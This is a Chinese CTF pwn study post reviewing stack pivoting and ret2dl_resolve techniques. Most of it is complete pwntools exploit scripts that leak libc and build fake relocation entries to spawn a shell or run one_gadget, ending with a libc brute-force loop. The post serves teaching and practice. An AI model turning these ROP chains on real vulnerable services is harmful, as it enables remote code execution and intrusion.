前言
总结复习一下各种各样的栈溢出。
一、栈迁移
美团2021-12 babyrop
1.题目简介
溢出16个字节,可覆盖rbp和返回地址
存在puts等打印函数
无好用gadget,只有最常见的csu
存在canary,可用数据长度为0x18
关键函数:
2.利用方式
由于没办法写GOT,考虑栈迁移之后调用puts函数泄露地址,然后进行one_gadget
(1)迁移数据
所以直接迁移到extern
段之后的数据段
(2)调试调用
①栈劫持
1 2 3 4 5 6
| payload = "" payload += 'PIG007NB'*(0x18/0x8)
payload += p64(canary) payload += p64(new_stack) payload += p64(0x40072E)
|
初次栈溢出leave_ret
之后劫持rbp
,再进入vuln
函数,借助修改之后的rbp
向新栈读入数据
1 2 3 4 5 6 7
| payload = "" payload += 'PIG007NB'*(0x18/0x8)
payload += p64(canary) payload += p64(new_stack+0x28) payload += p64(0x40072E)
|
再次栈溢出修改rbp
向新栈读入数据,同时通过leave_ret
劫持rsp
同时需要注意的是,劫持rsp之后,再调用read函数时,其返回地址也会随之改变,所以我们需要劫持read函数的返回地址,通过修改的rbp即可在read函数的返回地址上读入ROP链条
▲leave-ret
相当于如下命令
1 2 3
| mov rsp rbp pop rbp pop rip
|
▲call
相当于如下
②读入ROP链
向read函数的返回地址读入ROP链条,这个rbp是经过计算的,由于之前的rsp通过leave-ret
变为了new_stack+0x10,所以在调用call read
时,压入返回地址,导致rsp变为new_stack+0x08,而返回地址也就是保存在new_stack+0x08处,所以我们需要修改新的rbp为new_stack+0x28,才能在vuln函数中向new_stack+0x08读入ROP链条从而劫持read函数的返回地址。
③劫持vuln函数返回地址
这样在之后调用完puts函数之后就可以再返回到vuln函数中,新建一个函数栈来劫持该函数的返回地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| payload = "" payload += p64(pop_rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(0x400717)
sd(payload)
libc_base = u64Leakbase(libc.sym['puts']) one_gadget = libc_base + 0x10a41c lg("libc_base",libc_base)
payload = 'PIG007NB'*(0x18/0x8) payload += p64(canary) payload += 'PIG007NB' payload += p64(one_gadget)
|
同样由于rbp和rsp没有改变,所以也可以通过再返回到0x40072e
来劫持read函数的返回地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| payload = "" payload += p64(pop_rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(0x40072e)
sd(payload)
libc_base = u64Leakbase(libc.sym['puts']) one_gadget = libc_base + 0x10a41c lg("libc_base",libc_base)
payload = 'PIG007NB'*(0x18/0x8) payload += p64(one_gadget)
|
3.总结
栈迁移的方法多种多样,需要注意的就是两个命令leave-ret
和call
,这两个命令对栈的影响是最大的,自己比赛的时候基本都忘光了,调试了好久,同时要记住调用函数时,如果rsp被劫持了,那么其返回地址也会被劫持。
二、Ret2dl_resolve
之前做过总结,但是还是有点皮毛,这回深入总结一下,具体原理就先不说了,主要说下注意的几点事项。
1.No RELRO模式
见题目HITCTF slient
- 可任意修改四个字节
- 溢出长度不太够
- 无法泄露地址
- 无PIE
这种模式可用劫持.dynstr
,也就是需要改写DT_STRTAB
上的指针,使其指向fake_dynstr
。在32位和64位下都是通用的。
(1)寻找.dynstr
指针
找到如上图的.dynamic,其地址为0x600988
,在IDA中查看。
上图的DT_STRTAB
即为所寻找的地址,其内容为
蓝色代表偏移,红色代表需要动态加载时寻址的函数字符串的地址,之后查看对应的字符串内容。
需要修改为如下
我们需要做的就是劫持这个DT_STRTAB
中的字符串指针。但是劫持这个指针需要满足为NO RELRO
的保护级别才行,不能开启RELRO
。
(2)劫持指针
这里一般只能通过使用任意写来修改,或者可以借助read函数栈迁移修改rbp来劫持,将该指针修改为我们写入的system_str的地址减去0x11处,一般都是这样的,重载read函数为system函数,因为read函数一般都会有。
(3)重载函数
查找重载的plt进行调用即可,在IDA中ctrl+s
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| strtab_addr = 0x600A08 command_addr = 0x600C00 system_str_addr = command_addr + 8
pop_rdi_ret = 0x4007d3 plt0 = 0x4004E0
payload = "a"*0x38 + p64(pop_rdi_ret) + p64(command_addr) + p64(plt0) + \ p64(0)
p.sendline(payload)
p.interactive()
|
2.Partial RELRO模式
这种模式有好几个区分度
(1)原生态的32位
即在32位架构机器上编译的32位程序,直接借助工具一把梭哈即可,详见SecconCTF2021-kasu_bof
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import *
def start(): global p if args.REMOTE: p = process("./chall") else: p = elf.process()
context.binary = elf = ELF("./chall") libc = elf.libc
dl_resolve = Ret2dlresolvePayload(elf, "system", ["/bin/sh"])
r = ROP(elf) r.gets(dl_resolve.data_addr) r.ret2dlresolve(dl_resolve)
start()
off_eip = 0x88 p.sendline(b'A'*(off_eip) + r.chain()) sleep(1) p.sendline(dl_resolve.payload) p.interactive() p.close()
|
如果换成了read函数,直接更改为r.read(0,dl_resolve.data_addr,0x400)
即可
读取之后返回到plt0,之后劫持栈上数据
通过fake_Elf32_Rel_addr来获取到fake_Elf32_Sym_addr进行重载,在之后的_dl_fixup
函数中重载相关函数。
进入system函数
即可调用system(‘/bin/sh’)
(2)64位机器编译的32位程序
这种情况一般需要一个我们能够将数据输入到bss段的功能,从而能够直接劫持栈。原因就是在这种情况下同一段代码编译之后会出现不同的效果,代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <unistd.h> #include <string.h>
char buf[0x500];
int main(void) { char dest[0x10]; int n = read(0,buf,0x500); memcpy(dest,buf,0x500); return 0; }
|
①原生态32位效果
这个环境中
②64位机器编译32位程序效果
相比较原先的原生态,会多出来一些汇编代码,比较明显的就是lea esp, [ecx-4]
,这个详见Migraine殇师傅的文章
在PWN题中绕过lea esp以及关于Ret2dl的一些补充 - 安全客,安全资讯平台 (anquanke.com)
有的时候也会编译出如下代码
这时候就需要我们灵活变通,通过修改栈上的数据,进而控制ecx,再控制esp,这样就可以直接栈迁移,从而在我们存放数据的地方进行ROP。
③通过ecx劫持esp
即如下先劫持栈到存放数据的bss段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| dl_resolve = Ret2dlresolvePayload(elf, "system", ["/bin/sh"]) r = ROP(elf)
r.gets(dl_resolve.data_addr) r.ret2dlresolve(dl_resolve)
stack_space = 0x280 offset_ebp = 0x28 buf_addr = 0x0804A040 ROP_chain_addr = buf_addr + stack_space
payload = '' payload += "A"*(offset_ebp - 0x10)
payload += p32(ROP_chain_addr + 0x4) payload = payload.ljust(stack_space,'\x00') payload += r.chain()
|
这样就能通过ecx控制esp,从而跳转到我们位于bss段上的ROP链
之后就是类似的了。
找到system函数
调用对应system(‘/bin/sh’)
🔺注
但是这里就会有点不太好,就是如果劫持之后的esp就在buf首地址附近,那么在之后的重定向过程中,会调用一系列函数,那么在生成函数栈空间的时候栈顶就会一直向上移动,从而覆盖到不能覆盖的地方,导致出错
可以看到该地址已经在存放重定向表的LOAD段了。
所以我们之前就设置了存放ROP链的数据在bss段首地址大约0x280的地方,这样基本就不会覆盖了,其实最好能够再长就再长一些,也不会有什么坏处。
1 2 3
| stack_space = 0x280 buf_addr = 0x0804A040 ROP_chain_addr = buf_addr + stack_space
|
完整exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| from pwn import * p = process("./ret2dl_re32_gets") elf = context.binary = ELF("./ret2dl_re32_gets") plt0_addr = elf.get_section_by_name(".plt")["sh_addr"]
dynstr_addr, dynsym_addr, relplt_addr = map(elf.dynamic_value_by_tag, ["DT_STRTAB", "DT_SYMTAB", "DT_JMPREL"]) print("plt0:", hex(plt0_addr)) print(".dynstr:", hex(dynstr_addr)) print(".dynsym:", hex(dynsym_addr)) print(".rel.plt:", hex(relplt_addr))
def dbg(): global p gdb.attach(p) pause()
def gdb_a(addr): gdb.attach(p, "b *{0} \n c".format(addr)) sleep(0.5)
dl_resolve = Ret2dlresolvePayload(elf, "system", ["/bin/sh"]) r = ROP(elf)
r.gets(dl_resolve.data_addr) r.ret2dlresolve(dl_resolve)
stack_space = 0x280 offset_ebp = 0x28 buf_addr = 0x0804A040 ROP_chain_addr = buf_addr + stack_space
payload = '' payload += "A"*(offset_ebp - 0x10)
payload += p32(ROP_chain_addr + 0x4) payload = payload.ljust(stack_space,'\x00') payload += r.chain()
gdb_a(0x08048464) p.sendline(payload) pause() sleep(1) p.sendline(dl_resolve.payload) p.interactive()
|
(3)原生态64位
这个就比较正常了,一般是两种模式
①有read和泄露函数
这个就是最正常的ret2dl_resolve,直接拿模板打即可,参照bsauce师傅的模板
不过这个read换成gets好像不太好使,也可能是没设置好,回头试试
32位/64位dlresolve最全总结(不用泄露地址-执行one_gadget) - 先知社区 (aliyun.com)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172
|
from pwn import *
fpath = './myRet2dl_puts' elf = ELF(fpath) p = process(fpath)
offset_rbp = 0x80
length = 0x400 stack_size = 0x800
leave_ret=0x40066A
sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) rl = lambda :p.recvline() sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset it = lambda :p.interactive()
def lg(string,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def gdb_a(addr): gdb.attach(p, "b *{0} \n c".format(addr)) sleep(0.5)
def makecall(addr, rdi,rsi,rdx,tail = 0): payload = '' payload += p64(p6_addr) payload += p64(0x0) payload += p64(0x1) payload += p64(addr) payload += p64(rdi) payload += p64(rsi) payload += p64(rdx) payload += p64(call_addr) if (tail): payload += p64(0x0) * 7 + p64(tail) return payload
main_addr=elf.sym['main'] p6_addr=elf.sym['__libc_csu_init'] + 0x5a call_addr=elf.sym['__libc_csu_init'] + 0x40 p_rdi_ret=elf.sym['__libc_csu_init'] + 0x63 p_rbp_ret=elf.sym['register_tm_clones'] + 0x38
cmd = "/bin/sh" plt_0 = elf.get_section_by_name(".plt")["sh_addr"] dynstr, dynsym, rel_plt = map(elf.dynamic_value_by_tag, ["DT_STRTAB", "DT_SYMTAB", "DT_JMPREL"])
puts_got = elf.got['puts'] puts_plt = elf.plt['puts']
read_got=elf.got['read'] read_plt = elf.plt['read'] got_8=elf.get_section_by_name('.got.plt').header.sh_addr+8 bss_addr =elf.get_section_by_name('.bss').header.sh_addr base_stage = bss_addr + stack_size
lg("main_addr",main_addr) lg("p6_addr",p6_addr) lg("p_rdi_ret",p_rdi_ret) lg("p_rbp_ret",p_rbp_ret) lg("plt_0",plt_0) lg("dynstr",dynstr) lg("dynsym",dynsym) lg("rel_plt",rel_plt) lg("puts_got",puts_got) lg("puts_plt",puts_plt)
lg("read_got",read_got) lg("read_plt",read_plt) lg("got_8",got_8) lg("bss_addr",bss_addr) lg("base_stage",base_stage)
payload='\x00'*offset_rbp payload+='\x00'*8 payload+=makecall(puts_got,got_8,0,0,tail=main_addr)
payload=payload.ljust(length,'\x00')
p.send(payload)
link_map = u64Leakbase(0)
print 'link_map=',hex(link_map)
payload='\x00'*offset_rbp payload+='\x00'*8 payload+=makecall(read_got,0,link_map+0x1c8,8,tail=main_addr)
payload=payload.ljust(length,'\x00') p.send(payload) p.send(p64(0))
payload='\x00'*offset_rbp payload+='\x00'*8 payload+=makecall(read_got,0,base_stage,0xd0,tail=0) payload+=p64(0)*2+p64(base_stage)+p64(0)*4 payload+=p64(leave_ret)
payload=payload.ljust(length,'\x00') p.send(payload)
index_offset = base_stage + 7*8 align = 24 - ((index_offset-rel_plt) % 24) index_offset = index_offset + align index = (index_offset - rel_plt) / 24
fake_sym_addr = base_stage + 13*8 align = 24 - ((fake_sym_addr - dynsym) % 24) fake_sym_addr = fake_sym_addr + align index_dynsym = (fake_sym_addr - dynsym) / 24
r_info = (index_dynsym << 32) | 0x7 fake_reloc = p64(puts_got) + p64(r_info) + p64(0)
st_name = (fake_sym_addr + 24) - dynstr fake_sym = p32(st_name) + p32(0x12) + p64(0) + p64(0)
payload2 = 'AAAAAAAA' payload2 += p64(p_rdi_ret) payload2 += p64(base_stage+0xc0) payload2 += p64(plt_0) payload2 += p64(index) payload2 += 'AAAAAAAA' payload2 += 'aaaaaaaa'
payload2 = payload2.ljust(index_offset-base_stage,'B') payload2 += fake_reloc payload2 = payload2.ljust(fake_sym_addr-base_stage,'B') payload2 += fake_sym
payload2 += "system\x00" payload2 = payload2.ljust(0xc0,'\x00') payload2 += cmd + '\x00' payload2 = payload2.ljust(0xd0,'\x00')
raw_input('wait!!\n') p.send(payload2) p.interactive()
|
如果是puts函数则直接对应修修补补即可
②只有read和libc文件
这个最开始的题目好像是0CTF的题目blackhole2,这种情况也可以对应拿模板打,原理就是调用libc中的one_gadget来getshell。这个模板也是参照bsauce师傅的模板。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148
|
from pwn import *
fpath = './bstack' elf = ELF(fpath) libc = elf.libc
p = process(fpath)
offset_rbp = 0x70 length = 0x100 stack_size = 0x800 leave_ret=0x00000000004006AB
one_gadget = 0x4f432 vuln_addr=0x400676
sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) rl = lambda :p.recvline() sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset it = lambda :p.interactive()
def lg(string,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def gdb_a(addr): gdb.attach(p, "b *{0} \n c".format(addr)) sleep(0.5)
def makecall(addr, rdi, rsi, rdx, tail = 0): payload = '' payload += p64(p6_addr) payload += p64(0x0) payload += p64(0x1) payload += p64(addr) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(call_addr) if (tail): payload += p64(0x0) * 7 + p64(tail) return payload
plt_0 = elf.get_section_by_name(".plt")["sh_addr"] p6_addr=elf.sym['__libc_csu_init'] + 0x5a call_addr=elf.sym['__libc_csu_init'] + 0x40 p_rdi_ret=elf.sym['__libc_csu_init'] + 0x63 p_rbp_ret=elf.sym['register_tm_clones'] + 0x38 read_got=elf.got['read'] read_plt = elf.plt['read'] got_8=elf.get_section_by_name('.got.plt').header.sh_addr+8 bss_addr =elf.get_section_by_name('.bss').header.sh_addr libc_bss_addr = libc.get_section_by_name('.bss').header.sh_addr base_stage = bss_addr + stack_size libc_start_main_addr = libc.sym['__libc_start_main'] fake_link_map=elf.got['__libc_start_main'] fake_st_value=one_gadget-libc_start_main_addr fake_r_offset=libc_bss_addr-libc_start_main_addr
val_0x68=base_stage+0xc0-8 val_0x70=base_stage+0xc0-8 val_0xf8=base_stage+0xc0-8 wait_time=0.1
payload='\x00'*offset_rbp payload+='\x00'*8 payload+=makecall(read_got,0,fake_link_map+0x68,16,tail=vuln_addr) payload=payload.ljust(0x100,'\x00')
p.send(payload)
sleep(wait_time) p.send(p64(val_0x68)+p64(val_0x70))
payload='\x00'*offset_rbp payload+='\x00'*8 payload+=makecall(read_got,0,fake_link_map+0xf8,8,tail=vuln_addr) payload=payload.ljust(0x100,'\x00') p.send(payload) sleep(wait_time) p.send(p64(val_0xf8))
payload='\x00'*offset_rbp payload+='\x00'*8 payload+=makecall(read_got,0,base_stage,0xd0,tail=0) payload+=p64(0)*2+p64(base_stage)+p64(0)*4 payload+=p64(leave_ret) payload=payload.ljust(0x100,'\x00') p.send(payload)
plt_1 = plt_0+6
align = 24 - (56 % 24) index_offset = base_stage + 7*8 + align index = (7*8 + align) / 24
align = 24 - ((13*8) % 24) fake_sym_addr = base_stage + 13*8 + align index_dynsym = (13*8 + align) / 24
r_info = (index_dynsym << 32) | 0x7 fake_reloc = p64(fake_r_offset) + p64(r_info) + p64(0) fake_sym = p32(0) + p32(0x112) + p64(fake_st_value) + p64(0)
payload2 = p64(0) payload2 += p64(p_rdi_ret) payload2 += p64(base_stage+0xc0) payload2 += p64(plt_1) payload2 += p64(fake_link_map) payload2 += p64(index) payload2 += p64(0)
payload2 = payload2.ljust(index_offset-base_stage,'\x00') payload2 += fake_reloc payload2 = payload2.ljust(fake_sym_addr-base_stage,'\x00') payload2 += fake_sym payload2 = payload2.ljust(0xc0,'\x00') payload2 += p64(base_stage) payload2 = payload2.ljust(0xd0,'\x00')
p.send(payload2) sleep(wait_time) p.interactive()
|
③只有read时
这种情况一般需要爆破libc文件,但是需要一个库,所以还得自己准备一个比较完整的libc文件库,这里自己写了一个工具,专门用来依据libc文件库爆破,直接给出代码,这个等我啥时候有时间详细完成一下这个工具。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209
| from pwn import * import myTool
global p fpath = './bstack'
offset_rbp = 0x70 length = 0x100 stack_size = 0x800 leave_ret=0x00000000004006AB vuln_addr=0x400676
libc_list = myTool.getLibc("x86-64",version="2.27") libcAll_path = '/home/hacker/LibcSearcher/libc-database/libcAllSo/' elf = ELF(fpath)
sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) rl = lambda :p.recvline() sa = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + '\0\0') - offset u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset it = lambda :p.interactive()
def lg(string,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def gdb_a(addr): gdb.attach(p, "b *{0} \n c".format(addr)) sleep(0.5)
def makecall(p6_addr,call_addr,addr, rdi, rsi, rdx, tail = 0): payload = '' payload += p64(p6_addr) payload += p64(0x0) payload += p64(0x1) payload += p64(addr) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(call_addr) if (tail): payload += p64(0x0) * 7 + p64(tail) return payload
def regexp_out(data): patterns = [ re.compile(r'flag{.*?}'), re.compile(r'xnuca{(.*?)}'), re.compile(r'DASCTF{(.*?)}'), re.compile(r'WMCTF{.*?}'), re.compile(r'[0-9a-zA-Z]{8}-[0-9a-zA-Z]{3}-[0-9a-zA-Z]{5}'), ] for pattern in patterns: res = pattern.findall(data.decode() if isinstance(data, bytes) else data) if len(res) > 0: return str(res[0]) return None
def pwn(libcFile,one_gadget):
libc = ELF(libcFile,checksec = False)
plt_0 = elf.get_section_by_name(".plt")["sh_addr"] p6_addr=elf.sym['__libc_csu_init'] + 0x5a call_addr=elf.sym['__libc_csu_init'] + 0x40 p_rdi_ret=elf.sym['__libc_csu_init'] + 0x63 p_rbp_ret=elf.sym['register_tm_clones'] + 0x38 read_got=elf.got['read'] read_plt = elf.plt['read'] got_8=elf.get_section_by_name('.got.plt').header.sh_addr+8 bss_addr =elf.get_section_by_name('.bss').header.sh_addr libc_bss_addr = libc.get_section_by_name('.bss').header.sh_addr base_stage = bss_addr + stack_size libc_start_main_addr = libc.sym['__libc_start_main'] fake_link_map=elf.got['__libc_start_main'] fake_st_value=one_gadget-libc_start_main_addr fake_r_offset=libc_bss_addr-libc_start_main_addr
val_0x68=base_stage+0xc0-8 val_0x70=base_stage+0xc0-8 val_0xf8=base_stage+0xc0-8 wait_time=0.1
payload='\x00'*offset_rbp payload+='\x00'*8 payload+=makecall(p6_addr,call_addr,read_got,0,fake_link_map+0x68,16,tail=vuln_addr) payload=payload.ljust(0x100,'\x00') p.send(payload) sleep(wait_time) p.send(p64(val_0x68)+p64(val_0x70))
payload='\x00'*offset_rbp payload+='\x00'*8 payload+=makecall(p6_addr,call_addr,read_got,0,fake_link_map+0xf8,8,tail=vuln_addr) payload=payload.ljust(0x100,'\x00') p.send(payload) sleep(wait_time) p.send(p64(val_0xf8))
payload='\x00'*offset_rbp payload+='\x00'*8 payload+=makecall(p6_addr,call_addr,read_got,0,base_stage,0xd0,tail=0) payload+=p64(0)*2+p64(base_stage)+p64(0)*4 payload+=p64(leave_ret) payload=payload.ljust(0x100,'\x00') p.send(payload)
plt_1 = plt_0+6 align = 24 - (56 % 24) index_offset = base_stage + 7*8 + align index = (7*8 + align) / 24 align = 24 - ((13*8) % 24) fake_sym_addr = base_stage + 13*8 + align index_dynsym = (13*8 + align) / 24 r_info = (index_dynsym << 32) | 0x7 fake_reloc = p64(fake_r_offset) + p64(r_info) + p64(0) fake_sym = p32(0) + p32(0x112) + p64(fake_st_value) + p64(0)
payload2 = p64(0) payload2 += p64(p_rdi_ret) payload2 += p64(base_stage+0xc0) payload2 += p64(plt_1) payload2 += p64(fake_link_map) payload2 += p64(index) payload2 += p64(0)
payload2 = payload2.ljust(index_offset-base_stage,'\x00') payload2 += fake_reloc payload2 = payload2.ljust(fake_sym_addr-base_stage,'\x00') payload2 += fake_sym payload2 = payload2.ljust(0xc0,'\x00') payload2 += p64(base_stage) payload2 = payload2.ljust(0xd0,'\x00')
p.send(payload2) sleep(wait_time)
p.recv(timeout=0.5) try: p.sendline(b'cat flag') flag = p.recvuntil(b'}') except: p.close() if b'}' in flag: log.success('flag: %s', regexp_out(flag)) exit()
i = 0 while True: global p i += 1 log.info("Times:%d"%i) for libcFile in libc_list: libcFile = libcAll_path + libcFile one_gadget_list = myTool.getOnegadget(libcFile) for one_gadget in one_gadget_list: try: p = process(fpath) log.success('libcFile: %s',libcFile) pwn(libcFile,one_gadget) except EOFError: p.close() continue except Exception: p.close() continue else: p.interactive() break
|
④开了沙箱,只有read和libc文件
这种就得用orw来读取flag了或者使用测信道攻击,之后再来详细完成一下把。
栈溢出(64bit)的一些操作<二> (zoepla.github.io)
🔺有时候万能gadget可能不太一样
rdi和rdx的赋值顺序可能发生变化,需要注意